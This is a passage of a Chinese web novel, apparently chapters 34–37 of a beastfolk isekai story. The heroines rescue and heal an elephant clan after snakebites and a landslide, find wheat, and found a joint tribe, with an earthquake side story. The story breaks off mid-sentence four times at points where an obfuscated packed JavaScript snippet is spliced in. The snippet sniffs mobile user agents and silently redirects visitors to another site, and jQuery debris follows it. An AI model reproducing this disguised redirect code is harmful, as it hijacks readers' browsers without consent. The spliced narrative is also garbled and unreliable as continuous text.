她飞速游走到那只大象身旁,在某条花纹繁复的毒蛇露出尖牙时狠狠咬住了它的头部,随后便将其猛地甩向一边。这位可怜的大朋友身上已经被咬出许多细小的伤口,身上极有可能中了多种蛇毒。图姊发出些嘶嘶的叫声,试图指引它往克西的方向移动。
图姊带来的草药起了作用,不少小蛇已经四下散开,唯留几条粗大的蟒蛇仍停留在原地,跃跃欲试地想要对她们发起进攻。
姬折返回头,拦住了其他赶来的狮子们,克西撒光手里的草,变作兽形,朝那一蛇一象发出一声震碎山林般的威猛虎啸。
那象终于注意到了这些陌生人,它努力控制着四肢,七摇八晃地跟着克西走出了这片死亡树林。图姊在她们身后立起身体,威慑着残余的几条蛇。
克西一边小步在前走着,一边回头顾着那只庞大的动物。它体型高大,总会撞上横在空中的树枝,克西喊了两嗓子,要它干脆变成人形再走。它大约听清了这个建议,身形很快缩小,最终在地上化成个灰蓝头发的男人。
运动带来的刺激加上体型的突然变化,毒素顿时被猛烈激发,他神情痛苦地呕出口鲜血,向前晕倒在地。
林千平自从当上这个世界的“神医”以来,还从没见过这么棘手的病患。他身中数种蛇毒,被咬伤的肢体呈现出肿胀发紫的状态,呼吸微弱、流血不止。兽形时他的身形庞大,哪怕中了毒也能顺利行走,一旦变成人形,毒素占比立刻飙升,另其很快陷入濒死状态。
新鲜的蛇头草带有一种特别的草腥味,林千平捣碎一棵分枝,试图用水灌进他的嘴里。
再为伤口涂上草药,尽量让他的四肢低于心脏位置,林千平能做的便仅此而已了。
他们此时已经远离了那片不知为何聚集着众多蛇类的树林,地势开始向下,实在不太适合停留。林千平护着被绑在岩羊身上的象族人,深一脚浅一脚地跟着队伍往下走。
她一路上都在仔细注意着那人的状况,他的面色好了许多,但或许是路途颠簸,到达平地时突然咳出大股深色血液,队伍只能急停在原地,就在坡底不远处扎营休息。
王清虞撂下背篓,挤到伤员旁边查看情况。可惜她的医学知识也没丰富到哪去,最终仍是只能问起林千平的意见:“现在怎么办?”
种着蛇头草的竹筒被攥在手心,林千平再度掐烂一株分枝,强塞进象人的嘴里。
“一天不能用药超过三次,剩下的只能听天由命了。”她为那人擦去脸上的血迹,神情肃然地答道。
第一个发现象族人醒来的是图姊,她留在后方毒杀了那几条危险的蟒蛇,脸上划了些口子,胳膊上还有几个明显的咬伤。那个男人神色迷茫,反应了一会儿才认出图姊就是那条亮绿色的大蛇。
“谢谢你,我……”图姊打断了他的话头,示意他先不要起身。
林千平就睡在隔壁帐篷,被叫醒后很快就来到他们身边。
这位大象朋友的身体恢复能力简直好得惊人,黍只中了一种巨蜥毒素就昏迷好几天,这人身中数种蛇毒居然只用短短半天时间就能清醒地回答问题。不知是三副蛇头草的药效惊人,还是他巨大的兽形使他的代谢速度高于了其他种族的兽人。
“他说他叫象平,是从部落里出来探查情况的。”林千平从帐篷里钻出来,将几位领导者们聚在一起,转述了那个可怜人的故事。
“前段时间的地震似乎引发了落石,他们居住的山谷被砸毁了一大半。”
“象族朝四个方向都派出了人手,象平负责往北走,看看能不能再搬回草原上。”
“诶,和你差不多。”站在圈外旁听的克西没头没脑地冲着伦说道。
伦朝她做了个闭嘴的手势,又点点头示意林千平继续往下说。
“还有一部分蛇毒留在他身体里,因此他的腿现在完全没有知觉……我不知道以后还能不能恢复。”林千平有些犹豫地看着在座的其他人,提出目前紧要的问题:“我们要带上他吗?……或者干脆给他送回去?”
那总不能把人留这儿吧?所有人不约而同地想到。
“象族有难,我们不能不帮。”槲婆婆首先开口:“象族人温和、善良,过去我们有很多族人都是他们救回来的……”
她的声音逐渐变小,未尽的话语中似乎藏着许多已经褪色的往事。
“我们会送象平回去。”黍接上她的话,表明了丛狮部落的立场:“如果可能的话,也会和他们一起上路。”
两方队伍似乎就要在此分别,众人纷纷把目光放到卓娅身上。
“我需要征求其他人的意见。”卓娅看向黍,不疾不徐地回应她:“明天晚上我会给你答复的。”
“你们帮了我们很多,但是现在……如果不能同行的话,请让我把路线计划告诉你们。”黍的声音里带着歉意:“那片区域是我父亲曾经的家乡,是个适合居住的好地方……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303413|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>卓娅笑着打断她的话:“行了,咱们明天再说吧。”末了,她又补上一句:“说不定我们还得继续黏在一起呢?”
卓娅的话在一天之后果然成真了。傍晚,他们这一队人久违地全聚在一起再度决定所有人未来的去向。这些曾经遭遇苦难和分离的兽人们似乎已经在旅途中重新找回了生活的意义,他们没有忘记过去的伤痛,他们只是懂得了如何大步向前进。
因而这些人既能对象族产生共鸣与同情,又容易对其有着强烈的拯救欲望,就好像能够穿越回过去拯救那个痛苦的自己一样。
象平于是被一头雾水地绑到了克西身上,他来不及为自己的双腿流泪,立刻为恩人们指引起部落所在的方向。
大象一族从草原出走后,在这片森林里找到了一处隐蔽的山谷落脚。象平也不知是太幸运还是太倒霉,刚走出来一天多就撞进那片布满毒蛇的树林。他则委屈地表示那条路曾经就是族人们从北迁徙而来时走过的,不知道为什么现在竟然变成恐怖的蛇窝了。
“可能和落石还有地震有关吧。”图姊笑眯眯地分析着。象平似是才想起她的兽形,涨红着脸不再叙述自己对蛇类的恐惧。
向南再向西,他们逐渐远离河岸,来到一面陡峭的崖壁前。黍接过克西的工作,用人形背着象平走在前面。掀开厚重的爬山虎长帘,背后是一个略显狭窄的洞窟,仅能供两人并肩穿越。所有人跟着象平七拐八绕地在火把微弱的光照下走了十多分钟,终于得以重回蓝天之下。
山谷内的空间十分开阔,树林、草地、清澈的河流一应俱全。四周的山峰将湿热的瘴气阻隔在外,使得这里的气候格外舒适宜人,连蚊虫都少了许多。假若忽略平地上那些杂乱的泥石和破碎的树木,此处完全可以用桃花源三字来简单概括。
林千平个子偏矮,走在队伍中间便看不清前面有些什么,她只听到周围的兽人们不时发出小声的惊叹,就连王清虞也吐出几声带着些讶异的气音。
“什么东西?”她问道。
王清虞便用手臂裹住她的腰,一使劲就把她抱了起来。林千平看清眼前像模像样的小村落,同样难以置信地张开了嘴:“我天……”
尽管已有多数房屋被山石冲毁,但仍有几座房子安然地伫立在边缘。这些房子均由夯土垒成,屋顶用的是木头或竹子,没有窗户和门,只在墙上留了一个入口方便进出。
由于被举得很高,林千平甚至眼尖地看到了四周还有些整齐打在地上的篱笆,乱七八糟的土地上似乎种着些模样相同的植物。
“诶,好大一群羊!”克西指着一丛树林后面隐约出现的身影兴奋地说道,自从进入森林以来,她就没见过这么大群聚集着的猎物了。
林千平顺着她指的方向眯着眼看了几遍,也没分辨出到底哪里有羊,她让王清虞把自己放下,颇为感慨地评价起来:“这发展水平得领先外面几十年了吧?”
“少了。”王清虞一边四下张望,一边回复道。
“象平!”在入口处守卫的大象认出了坐在一头狮子背上的族人,急忙变成人形朝着他们跑来。
35.兽人
负责守卫入口的象林带着这支队伍的几个代表者来到了那仅存的几座房屋边,象平被他抱进屋内,不久后又跟着一位神色疲惫的女人走了出来。
“你们好,我是象水,谢谢你们救了象平。”她看起来心力交瘁,眉眼间有很深的疲累感,像是已经很久没有好好休息过了。
林千平一行人被招待在房前的空地坐下,地面上铺着粗糙的竹凉席,仅能隔开一些尘土,并不算舒适。
“对不起,现在不能更好地招待你们,我们这里不久前才……”有人给他们拿来用竹筒盛着的水,象水一一分给在座的客人们,提起部落遇到的灾难时不自在地截断了话尾。
黍和卓娅交换了个眼神,率先亮明自己的身份:“我们是北方草原的狮族,听象平说你们遇到了困难……有什么我们能帮忙的吗?”
象水听她提到北方草原,眼神明显亮了起来:“我们正打算搬回草原,现在那边的情况怎么样?气候还是那么干燥吗?”这个突如其来的消息令她太过惊喜,没注意到象平是怎么仅仅离开部落一天多的时间就遇到了住在草原上的狮子们。
“不,情况不太好。”黍不自觉地皱起眉头,将他们探查到的消息分享出来:“北方的大地震动造成了巨大的地裂,最靠近那边的草原已经完全枯萎,甚至还在往南蔓延。”
“猎物们都在南迁,我们现在正准备前往更南一些的平原居住。”
象水眼睛里微弱的光点在听完黍的叙述之后几乎瞬间熄灭,她脸上那点为数不多的鲜活顷刻间就被风吹散。她的神态看起来比之前更加憔悴,塌腰弓背地坐着,一时之间什么话也说不出来。
林千平适时地提起共同前进的建议:“你们要不要和我们一起去南方呢?”
象水的大脑由于连日的压力已经快要转不起来了,她反应了一会儿,才恍若神游般地回答:“我们……我们有十九个人受了伤,其中有八个不能行动……这样会拖累你们的。”
“可以带我去看看吗?”听她提到伤员,林千平立马提出请求。
“你……来吧。”象水想起象平适才短暂的描述,站起身就要带着这个小姑娘走进房子。
一直在旁从未出声的槲婆婆此时忽然叫住了她:“请问……象虹在吗?”
象水回头看看她,又沉默地将目光投向落满石头的那片废墟。
山似乎要被铲下一大截,才能够有这么多泥石堆在地上。四周有许多挖掘过的痕迹,有些大石上还沾着褐色的血痕。大象一族身形高壮,力气要比其他动物强上许多倍。可即使是最为强壮的他们,也无法从巨石底下救出所有族人。
槲立在原地,远眺着最大的那块落石。
她忽然感觉到刮来的风里带着草原的气息,自己和好友还长着尾巴和耳朵,正从家人身边头也不回地跑向那如火一般的鲜红落日。
林千平来到土屋内,里面还算宽敞,干草堆和兽皮垫子上躺着四五个兽人,有两碗用动物油脂和草绳做的油灯在角落提供着微弱的照明。象平半躺在一个昏迷不醒的女人身旁,艰难地撑起身子想要替她摘去脸颊边的草屑。
这些人都受到了严重的外伤,基本都集中在下身,有的人甚至失去了部分肢体。林千平从兽皮挎包里翻出蛇头草,先让象平嚼了一根分枝,他的腿仍受蛇毒影响不能动弹,虽然没什么把握,但林千平还是抱着点微弱的希望每天给他用药。
“千平,你能……你能救救象元吗?”象平胡乱咽下蛇头草,指着身边的女人向她哀求道:“你能救活我,一定也能治好象元吧……求求你…”他似乎还想承诺些报酬,可急切地四下张望了几圈之后,又只能低下头无力地吐出三个字:“求求你……”
他的腿也不能动了,房子、作物、兽皮……除了这几句干巴巴的话外,他什么都拿不出来了。
林千平看着他颓然的神态,眼眶跟着开始发烫发热,她吞咽几下口水,镇定心神,语气尽可能平静地回答他:“你放心,我一定会尽全力帮助她的。”
象元的生命体征还算平稳,呼吸心跳都不见有异常,身体不见外伤,只在脑后有淤肿。她的身上很干净,嘴唇也不见开裂,显然是得到了相当不错的照顾。
不知是不是脑后的重击使得淤血压迫了神经,才令其昏迷不醒。林千平试探着轻轻触摸了几下那块肿起的皮肤,没有液体游走的感觉,大约没有脓液。她在包里找了一会儿,拿出一条干硬如木棍般的细枝藤蔓。
“这是破淤藤,拿去放在锅里,加三碗水,汤煮成泥土色就可以了。”林千平掰下一截干藤,递给站在一旁的象林。
“只要吃了这个,她就能醒了吗?”象平看着她的动作,含着眼泪满怀期待地问道。
林千平停顿几秒,还是决定告诉他实情:“她脑后的伤口很严重,我不能保证她一定可以醒过来……但这是我唯一能想到的方法了。”
象平没有沮丧,他挪动着身体想要坐起身道谢:“这已经是很好的办法了,谢……”
“象平,你的腿!”有个负责照顾伤员的象族人指着他刚才颤动了几下的脚腕惊呼出声。
他便猛地低下头,同样惊喜地看着自己酸软的双腿,呼吸急促地集中精神,试图控制双腿。
良久,他的小腿终于向左弹跳似的偏了偏。“我的……我的……”一天之中情绪的不断起伏令这个可怜人连话都说不清了,未干的泪痕和狂喜的笑容同时存在于他的脸上,四周郁郁躺着的伤员们也都像是突然被阳光唤醒一般,聚精会神地注视着这个角落所发出的动静。
“再吃几天药就行了,记得多动动腿,呃……也别太多动了。”林千平替他测试完腿部感觉的恢复情况,交代了一些复健相关的事项,见象平满脸跃跃欲试的激动神情,犹豫着又补充了一句。
“果……千平,药都在这里了。”王清虞身上挂着一堆竹筒,手里提着一个小口袋,火急火燎地跑了进来。
林千平迎了上去,帮忙卸下竹筒排在地上,她蹲在草药面前悄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314756|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
悄深呼吸几口气,随即便抬头向着屋内所有人轻声说道:“我们开始吧。”
象族已经掌握了基本的草药使用方法,但他们身体强壮,很少会受内伤,因而其中断了手脚的伤员恢复得倒是要比其他人更好一些。
林千平的草药效果要比一般的伤药好得多,骨折的伤患经过治疗,很多都在几天时间内有了相当明显的好转。他们在象族停留了一段时间,林千平带着医疗小队每天查房行医,其他人则帮忙制作背篓、宰杀牲畜、磨碎盐石晾晒咸肉,为这些疲惫的人们提供一点喘息的时间。
等到他们恢复精神、重燃生意,便随时可以背上行李,走向新的生活。
林千平为失去腿部的象人制作了非常简单的假肢,灵感来自于海盗的经典皮肤:一根掏空的木头,底下是个直溜溜的木棒,虽然简陋粗糙,使用起来也并不那么舒适,但仍旧获得了对方兴奋的好评。
王清虞作为自带本地身份的原始人,无法大张旗鼓地说出自己的主意,她便天天拿着“千平说”当挡箭牌,领着几个手巧的兽人研究出了兽皮版双肩背包,还有拐杖一类的零碎工具。
她这一通折腾,让林千平在象族几乎快成为全知全能的通才神仙。象平更是在恢复行动能力以后每天都要向其他伤员传颂这位茹萨姑娘的功绩,使得不少人看着林千平的眼神都愈发崇拜。
只可惜,她并不是什么真正无所不能的天神。
仅有十岁的象栗在一次短暂的苏醒之后便合上眼睛,再也没有醒来。
她曾经被压在沉重的泥土和石块之下,能被救出来已是幸运至极,林千平为她使用过治疗内伤的汤药,但却仅仅换来不到半天的告别时间。
她是那栋房子里唯一被救下的幸存者,或许是太过思念亲人,她才会选择醒来向族人道谢、向世界道别,随后便安静而祥和地回到那个温馨且热闹的家中。
象栗被葬在那片废墟附近,坟头被种上一种山谷里独有的黄色小花,这种花的香气带着一股清新的甜果味,是她最喜欢的花。
林千平站在她的坟前思考了很久,她不断重复回想着自己拿出的草药时的场景,回忆着使用方法、用药分量、熬煮的时间长短……周围的人陆续离开,只有王清虞仍在她身后不远处静静地站着。
脑海中许多画面不停闪回,林千平无声地任由眼泪模糊视线、划过下巴,最后打在脚下凌乱的泥土地上。周围的草地被落石和大量泥土冲击得破碎不堪,倒塌的房屋和树木乱七八糟地支戳着,风景实在算不得有多漂亮。她坚持要将象栗葬在这附近,只是因为想到了那个小姑娘所说的最后一句话:“我想回家。”
这样离家近些,才不会迷路吧。她想。
有谁大声呼喊着什么在逐渐靠近,象栗褐色的眼睛在回想中一闪而过,林千平将注意力拉回现实。不待看清来人,首先便听见他欣喜若狂的声音,原来是象林。
仔细看去,他的嘴一张一合,在说:
“象元醒了!”
36.兽人
林千平跑到房门口,心跳如擂地慢慢走进屋内。眼睛逐渐适应了昏暗的环境,她看见象平正跪在象元身边,摩挲着她的手在轻声说话。他的脸上又露出了那种哭笑同存的表情,眼泪不要钱似的往外冒着。
象元微睁着眼,专注地看着自己的爱人。她嘴边带有浅淡的微笑,没多少血色的脸庞终于染上几分鲜活的气息。林千平还红着眼,鼻子不时吸溜着,就来为她检查身体。破淤草成功地化解了压迫神经的大块淤血,象元现在除了长时间卧床所导致的缺乏营养和肢体无力外,看不出其他更大的毛病了。
得出这个结论的林千平没有过分高兴,她几乎每天都要花上一些时间详细询问象元的身体状况,尤其关注她脑后受伤的部位,经常反复检查淤血的消散情况。直到象元完成复健运动,可以独立站在她面前时,林千平才终于察觉到,这个温和的女人原来有着一双十分特别的深蓝色眼睛。
阳光下看去,就好像一对被打亮了的蓝宝石,眼波流转间似乎还会折射出微微的七彩炫光。
不是褐色啊,林千平没来由地想到。
“千平,谢谢你,以后如果有任何需要我们做的事,一定要告诉我。”象元是个心思细腻的人,她看出林千平不善于当众接受他人的谢意,于是便选择单独在人少的地方向她表示感谢。
“我们暂时没有更多能拿得出手的东西了,这些你先拿着。”她往林千平手里塞了个兽皮双肩包,这是象平和她一起跟着王清虞做的。里面塞着几块分来的咸肉,一把治疗外伤的干草药,十几个漂亮饱满的小桃子,还有一个不知装着什么东西的小口袋。
不待林千平拒绝,象元便拿出那个袋子,打开示意她凑近来看。袋子里是一颗颗干燥微黄的草粒,熟悉的模样使得林千平难以置信地睁大眼睛,象元此时解释道:“这是草果子,虽然吃起来有些粗糙,但是烤完以后味道还算不错,能填饱肚子……”
象族人种植的作物林千平也去看过,其实多是些草药和蔬菜,还有几片果林,不知道他们把麦子种在哪儿了,怎么一点踪影也没见着?
她抓了几颗塞进嘴里咀嚼,不知不觉就把心里的问题说了出来。
“这不是我们种的,是有人在山谷外找到的,听说有很大一片地里全是这种植物。”象元收起麦子,趁着林千平思考愣神的时机,顺势给她背上了这个长相奇怪的大口袋。
这种草粒已经进化得非常接近林千平记忆里小麦的样子了,她的老家在南方,农人们几乎都种水稻,小麦并没有那么常见。她一边思索着种植麦子的技巧,一边两手捏着背带,跟在象元身后一晃一晃地回到营地。
外来的兽人们都住在房前开辟出来的空地上,这段时间里他们又做了不少帐篷,王清虞还和伦一起改进了样式,现在只要打开兽皮,把连着的木棍往地上插紧就能快速撑好,已经有些现代帐篷的味道了。
林千平和象元道过别,王清虞很快就黏了上来。她最近一直关注着林千平的情绪和精神状态,但没有特意询问对方的心情,也没有强行表达自己的安慰,只是在干活时尽可能地寻找话题活跃气氛,休息时不远不近地停留在林千平身边,悄悄当只忠诚的抚慰狮子。
这两天在象元身边,林千平的状态似乎好了许多,王清虞便不再那么紧张地跟着她。这会儿见到她刚出去就背了个双肩包回来,不免好奇地凑过去发问:“哪儿来的?象元给的吗?”她拽拽背带,又看看缝线,搅得林千平要挥手赶她。
“对,她说和象平一起做的。”林千平把包放在地上,从里面拿出个桃子递给她。
“那个是什么?”王清虞随便擦擦两下桃子外皮,喀嚓喀嚓吃起来。
林千平抬起头意味深长地看看她,脸上露出了这么多天来最显眼的一个微笑:“你自己看。”她打开那包麦子,倒了一些淡黄色的颗粒在手上。
“天啊,是稻子!”
“是麦子啊,天才。”林千平无力吐槽:“跟你们城里人真聊不来。”
“我们要有面包吃了吗!”王清虞没搭理她,兴奋地小声欢呼着。
还好这边人不多,林千平四下看了看环境,按住差点就要蹦起来转圈圈的好友,无奈解释道:“如果能找到那片麦田的话。”
王清虞已经听不进她的话,脑子里全是美味的蛋糕饼干、香软的面包和大白馒头,她吸吸不存在的鼻涕,扯出个热泪盈眶的假哭表情感动地说道:“老乡,日子越来越好了呜呜……”
林千平脸上的笑容绽得更大了,跟着还发出几句傻愣愣的嗤笑声。两人笑了一会儿,王清虞静下来看她,林千平躲过她的视线,低头收拾背包:“我没事了。”
“是没事啊,吃饭去吧,今天中午有那个……南瓜!”王清虞拎起背包,什么也没提,贴着好友要她跟自己一起往回走,嘴里叽里呱啦地细数着象族人种出来的农作物和它们尝起来的味道。
总有那么一些事情无法向外人诉说,她们都很清楚这一点。这件事或许依旧残留胸中,甚至可能将要深埋数十年,但能够逐渐分解它的,永远只有自己的内心。
说不定等到哪天痛苦和郁结真正被消解了,她们才会再度谈论起那个飘动着甜果香气的清晨。
至于今天,就先去吃南瓜吧。
行装齐整,干粮满袋,象族仅剩的三十五个族人,就在一个飘着薄雾的日子里告别了这座葬着无数回忆的山谷。他们背上背篓,扶着同伴,在进入山洞前的路程里长久地用五感记录着一切。山洞内掉落的碎石已经被清理到洞口堆放,如果不是担心这个入口同样会坍塌,他们中的有些人甚至想继续留在这里,哪怕未来可能还会遭遇灾难。
林千平在出发前一天特意和王清虞去看了那片麦田,离山谷大约有半天的路程,一整片山坡上长满了这种缀着颗粒的青绿植物,当中混着不少其他杂草,打眼望去,只像是走进了一片毫无特点的普通草丛。
她们以那条小河为标点,记下了山谷和这片山坡的位置,期待着秋天麦子成熟时再来采收。
黍的父亲曾经生活在南方,她便带着所有人穿过森林,来到了那片据说水草丰美,气候宜人的地方。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323101|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里的确如其所言,是片充满勃勃生机的美丽平原,一条宽阔的大河从中流过,站在山顶上,便可以看到它弯曲漂摇,涌向远方的身姿。
温柔而带着湿气的风吹散了兽人们的疲惫,他们很快欣喜地走下山,来到柔软的草地上。
伦和克西双双丢下行李,化为兽形冲出人群,在广阔的平原上肆意奔跑起来。粗壮又兴奋的嚎叫声激起大片鸟群,一些躲在草丛里休息的牛羊也被惊得四散奔逃。
王清虞同样忍不住朝着天空大喊了几声,其他人便也激动地欢呼着。有只小象发出稚嫩嘹亮的象鸣,已经开始有些大车喇叭声的意味,林千平不时跟着应和两句,更多的时候则是带着笑意注视着那一张张充满喜悦的面庞。
他们选了一处地势较高的平地,四散搭起帐篷,不约而同地留出了中间的一块空地。夜晚,明亮的火堆便在此升起,周围聚集着种族各异的人们,食物满地,歌声遍天,他们尽情欢庆着新生的开始。
象族人拿出几个小手鼓,阿祖雅吹起悠亮的骨笛,伦则跟着曲调随意放声歌唱起来。
王清虞的脸上顶着两团红晕,额头满布汗珠,喘着粗气坐倒在林千平身边。她刚被拉着跳完一段不知所谓的乱舞,此时仍傻乎乎地笑着。她看着还在大跳的其他人,有些晃神地说道:“我感觉……好像喝醉了一样。”
她被自己的话逗笑,肩膀轻轻抖起来。林千平适时地附和道:“是啊,这种时候的确应该来点酒才行。”
只是他们没有粮食,水果也早就吃得只剩下种子了。
“酒不醉人人自醉啊,有没有都一样!”王清虞又跳起身,伸手一把拽起坐在旁边看了一晚上歌舞节目的林千平,带上她冲回舞池中心,跟着其他人的动作摆动着四肢。
飞舞的灰烟和火星直冲上天,合着乐声、歌声、笑声一起随风飘荡。
“不对,我任务咋办啊。”王清虞正和林千平弯腰收着麦子,用的还是她那把漂亮的黑曜石匕首。林千平的任务早在离开山谷那天就完成了,不过正如她所推测的那样,她们两人必须全都完成任务,才能离开这个世界。
“我们真要出去自立门户吗?”见林千平不说话,王清虞急得开始焦虑起上哪能找到那么多兽人组建部落。
“嗯……我是有个想法,不过你得先把活干完,咱们回去再说。”林千平绑好一捆麦子,直起身左右扭动几下腰部,催促她加紧干活。
“不能现在说吗?”王清虞嘟嘟囔囔地继续低头做事,林千平嘴里嗯嗯啊啊地敷衍她,脸上却挂着点暗笑。
回到部落,林千平四下转了几圈,把几个领导者挨个拉到营地边缘的栅栏外。
卓娅、阿祖雅、王清虞、黍和邑、象水、还有两个管理技术小组的牛羊兽人,所有人都看向面色沉静的林千平,等待她开口。
平原上的落日似乎没有那么鲜艳,但同样美丽而令人难忘。最后一缕逃往地平线的阳光恰好见证了那段历史性的发言:“我想要成立一个聚合部落,各位同为‘首领’,共同领导……”
37.番外:世界的震动
鬣狗群不是突然出现的。
它们已经跟在队伍后面,整整走了三天。克西不时就要回头停在原地,低吼威慑一番,才能让这群瘟疫般的动物与他们拉开些距离。
一路上的食物少得可怜,大群的猎物几乎都跑光了,还留在这里的又个个敏锐得要命。鬣狗群总缠在周围骚扰队伍捕猎,这三天里克西什么正经食物都没吃到过,有时候恨不得自己能原地变成食草兽人,低下头就能大吃大嚼一番。
她盯着脚下的草地,甚至想现在就狠狠啃上一口。可是不行啊,队里已经有人乱吃草生病了。两只可怜的小狼,昏迷不醒了两天,现在只能被绑在卓娅身上,就连图姊都没办法唤醒她们。
身后的脚步声又在肆意妄为地试图靠近,克西被焦躁和饥饿折磨得头脑发昏,转身咆哮着冲向那群阴魂不散的动物们。
“克西!”重岚注意到她异常的举动,干哑的嗓子破碎地惊呼道。
老虎已陷入无边的愤怒当中,全然忘记了卓娅不要与它们起冲突的嘱咐。她直冲入狗群,一掌拍翻一只来不及逃跑的瘦小鬣狗。狗群很快发现只有她一人来战,默契地调转回头,齐齐围住这只比它们大上不少的敌人。饥饿或许也操控了它们,竟然就这样光明正大地在兽人队伍后头围猎他们的伙伴。
阿祖雅从队头赶来,小狼队已经帮忙赶走了鬣狗群。克西腿上被咬下一大块皮肉,身上也挂着不少伤痕。队伍被迫停在几棵树下,勉强扎营休息,卓娅带着图姊来到克西身边,替她查看伤势。
两位领导者面色凝重地看着坐在地上的克西,低沉而焦虑的气氛萦绕在这棵树下。
“你…以后真的不能这样了。”卓娅显然气得不轻,但还是尽量平复心情,好声好气地劝说道。
克西和小狼队一样,与她们队伍里的人没有亲缘或依附关系,随时都可以选择独自离开,卓娅便没有立场去严厉指责对方这样鲁莽的行为。克西低着头靠坐在树下,受伤的腿被敷上草药、裹好兽皮,全程都像是没有痛觉一般麻木地瘫放着。
阿祖雅蹲下身帮忙给兽皮打结,听到一句声音轻微的话:“早知道就不走了……”
清拖着疲惫的身体回到部落,两手空空,毛发凌乱,沮丧地钻进自己的帐篷,倒在兽皮上。她没打过新来的那群过路兽人,腹部的旧伤又在隐隐作痛,不知究竟是伤到了哪里,总是在战斗的时候阻碍她的行动,她不得已才勉强带着姐妹们从那群兽人的围攻中狼狈逃出。
伤口从肋骨一直划到肚脐,外表勉强愈合了,里面仍会发痛,那是被一名驼鹿兽人的鹿角划伤的。清躺在兽皮上,痛苦地蜷起身,不无后悔地想到,她们也许不该去招惹那些兽人队伍。
她意识模糊地闭上眼,坠入清醒与昏睡的交界线处,想要快些捱过这阵突然的痛意。天色由明转暗,没人敢来打扰她,也就没人能发现她的痛苦。直到黍也回到部落,召集族人们开会时,清的帐篷里才终于走进其他人。
她被搬到帐篷外的空地上,腹部的伤口在她无意识的挣扎下再度开裂,鲜血洇满兽皮衣,重重贴在身上。槲把手里的草药泡进水里,让其他人强行撬开她的牙关灌进去。黍整晚守在清的身边,不断思考着未来的计划,心疼和愧疚的情绪紧紧攥住她的胸膛,令她如何都无法静下心来。
“我来看着她吧。”将近黎明的时候,邑从帐篷外走了进来。
黍疲惫地抬头看她,邑的身上添了不少伤痕,手臂上也还绑着兽皮。太阳逐渐升起,帐篷里透进新鲜的光亮。
黍说道:“你去告诉其他人,我们明天就走。”
卓娅带着队伍,远远地跟在那群狮子后面进入了森林。
这是一条崎岖起伏的石头路,不算好走,但总归能躲开那些可怕的毒气。队里士气低迷,气氛阴沉。没人有谈天说话的兴趣,全都默不作声地向前走着。草原边的猎物相对丰富,有些食肉兽人执意选择要留在那里,卓娅拿狮子部落也开始迁徙的现状好说歹说,总算让所有人跟上她们的步伐前进,只是过程中闹得并不怎么愉快。
狮子们看上去有人受了伤,因而行进速度相对缓慢。两支队伍间逐渐拉近距离,卓娅不得不让大家停在一片相对平坦的地方,等待狮群向前再走远些。
“干嘛不直接超过她们?”克西问道。
“她们…”重岚的回答突然被一阵剧烈的大地震动所打断。
兽人们的左手边就是几座高高的山峰,震动来得猛戾又突然,山上的碎石极快地向下滚落,直冲队伍而来。
“快跑!”卓娅高声惊呼,所有兽人纷纷化作兽形,惊叫着四下逃窜。左边是落下障碍的山坡,右边是湍急的滚滚河流,众人只能选择掉头从原路返回,在晃动和落石之间跌跌撞撞地奔逃着。
卓娅兽形体积庞大,便用身体挡住落石,保护老人们离开。石头路上几乎要被形形色色大小不一的动物们所占满,兽人们的兽形通常都比人形大上不少,石头便能精准地砸在这些巨大的靶子上。
“阿克拉!”乌伯塔跑在队尾,突然被身后的小狼撞开,她挣扎着扭过身子去看,就只见那道近乎纯黑的身影被一块大石击中,连续翻滚着掉进河里。她什么也没细想,甚至连阿克拉的伤势都来不及去注意,身体落到地上,几乎立刻就弹跳起来,像一发锋利的快箭,嗖地跟着飞入河中。
“乌伯塔!乌伯塔!!”乌利亚撕心裂肺地叫着她的名字,马上就想转换方向去救人,却被赶来的阿祖雅死死压在身下。
“别跑!变成人!都变成人躲着!”阿祖雅拖着它躲在一块较大的石头后面,扯着嗓子提醒所有人。
只是她的醒悟来得太晚,大多数兽人们的确停下了,可都是以兽形的模样,毫无声息地倒在石头里。
阿祖雅拼尽全力按住还在努
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328539|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
